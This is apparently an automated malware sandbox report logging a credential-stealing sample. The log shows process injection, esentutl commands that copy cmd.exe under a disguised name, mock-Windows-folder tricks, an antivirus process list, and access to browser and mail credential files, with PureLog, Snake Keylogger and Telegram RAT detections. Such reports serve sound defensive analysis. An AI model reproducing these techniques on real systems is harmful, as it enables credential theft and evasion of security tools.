Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Section unmapped: C:\Users\Public\Libraries\yihfsboC.pif base address: 400000

Writes to foreign memory regions

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Memory written: C:\Users\Public\Libraries\yihfsboC.pif base: 3EB008	Jump to behavior
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Memory written: C:\Users\Public\Libraries\yihfsboC.pif base: 2E7008
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Memory written: C:\Users\Public\Libraries\yihfsboC.pif base: 20E008

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Process created: C:\Users\Public\Libraries\yihfsboC.pif C:\Users\Public\Libraries\yihfsboC.pif	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\esentutl.exe C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c del "C:\Users\Public\xpha.pif"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \SysWOW64	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\Public\alpha.pif C:\\Users\\Public\\alpha.pif /c rmdir "C:\Windows \"	Jump to behavior
Source: C:\Users\Public\alpha.pif	Process created: C:\Users\Public\xpha.pif C:\\Users\\Public\\xpha.pif 127.0.0.1 -n 10	Jump to behavior
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Process created: C:\Users\Public\Libraries\yihfsboC.pif C:\Users\Public\Libraries\yihfsboC.pif
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Process created: C:\Users\Public\Libraries\yihfsboC.pif C:\Users\Public\Libraries\yihfsboC.pif

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02B15ACC
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: GetLocaleInfoA,	0_2_02B1A7C4
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02B15BD8
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: GetLocaleInfoA,	0_2_02B1A810
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: GetLocaleInfoA,	14_2_00417A20
Source: C:\Users\Public\alpha.pif	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,	16_2_00398572
Source: C:\Users\Public\alpha.pif	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,GetDateFormatW,memmove,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,GetLastError,realloc,	16_2_00396854
Source: C:\Users\Public\alpha.pif	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,	16_2_00399310
Source: C:\Users\Public\alpha.pif	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,setlocale,	19_2_00398572
Source: C:\Users\Public\alpha.pif	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,GetDateFormatW,memmove,GetDateFormatW,realloc,GetDateFormatW,memmove,GetLastError,GetLastError,realloc,	19_2_00396854
Source: C:\Users\Public\alpha.pif	Code function: GetSystemTime,SystemTimeToFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,GetLocaleInfoW,memmove,GetTimeFormatW,	19_2_00399310
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: GetLocaleInfoA,	23_2_00417A20
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	24_2_02BC5ACC
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	24_2_02BC5BD7
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF	Code function: GetLocaleInfoA,	24_2_02BCA810

Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\alpha.pif	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\Public\Libraries\yihfsboC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\Public\Libraries\yihfsboC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\Public\Libraries\yihfsboC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\Public\Libraries\yihfsboC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\Public\Libraries\yihfsboC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\Public\Libraries\yihfsboC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\Public\Libraries\yihfsboC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\Public\Libraries\yihfsboC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\Public\Libraries\yihfsboC.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe

Code function: 0_2_02B1920C GetLocalTime,

0_2_02B1920C

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe

Code function: 0_2_02B1B78C GetVersionExA,

0_2_02B1B78C

Source: C:\Users\Public\Libraries\yihfsboC.pif

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: cmdagent.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: quhlpsvc.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: avgamsvr.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: TMBMSRV.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: Vsserv.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: avgupsvc.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: avgemc.exe
Source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected PureLog Stealer

Source: Yara match	File source: 26.2.yihfsboC.pif.2b4c0000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.2ae90f08.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.yihfsboC.pif.327be688.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.34860000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.34860000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.2ae90000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.25d6b98e.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.29915570.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.35955570.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.285a0f08.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.3598e790.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.35956478.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.2994e790.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.285a0000.14.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.34690000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.285db98e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.342dc896.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.3.yihfsboC.pif.268cecc8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.35955570.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.2994e790.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.3.yihfsboC.pif.268cecc8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.34690f08.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.28be0000.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.29916478.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.3598e790.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.285a0000.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.29916478.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.2709e790.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.25d6c896.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.285dc896.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.2ae90f08.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.27065570.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.342db98e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.285dc896.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.2ae90000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.yihfsboC.pif.327be688.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.35956478.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.28be0000.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.285db98e.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.34690000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.2b4c0000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.27066478.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.34690f08.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.25d6b98e.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.342db98e.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.342dc896.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.yihfsboC.pif.24219998.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.2709e790.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.27065570.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.yihfsboC.pif.24219998.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.29915570.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.2542721990.0000000034860000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.1465818240.00000000327BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2540746609.0000000027061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2532622056.000000002859B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.1357241369.0000000024219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2537622019.0000000029911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2535779078.0000000025D2B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2542354548.0000000028BE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2540455156.000000003429B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2538945311.000000002B4C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.1551837223.00000000268CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2546648768.0000000035951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Snake Keylogger

Source: Yara match	File source: 0000001A.00000002.2533591544.00000000289FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2536490412.00000000260EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2536490412.0000000026535000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2533591544.0000000028A96000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2533591544.0000000028B11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2542884762.0000000034B53000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2542884762.0000000034A3E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2536490412.00000000263C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2533591544.0000000028A32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2542884762.0000000034A76000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2536490412.00000000260FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2542884762.0000000034ADA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: yihfsboC.pif PID: 7240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yihfsboC.pif PID: 7660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yihfsboC.pif PID: 7924, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 0000001A.00000002.2533591544.00000000289FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2542884762.0000000034A3E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: yihfsboC.pif PID: 7240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yihfsboC.pif PID: 7660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yihfsboC.pif PID: 7924, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\Public\Libraries\yihfsboC.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\Public\Libraries\yihfsboC.pif	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\Public\Libraries\yihfsboC.pif	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Users\Public\Libraries\yihfsboC.pif	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\Public\Libraries\yihfsboC.pif	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Users\Public\Libraries\yihfsboC.pif	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
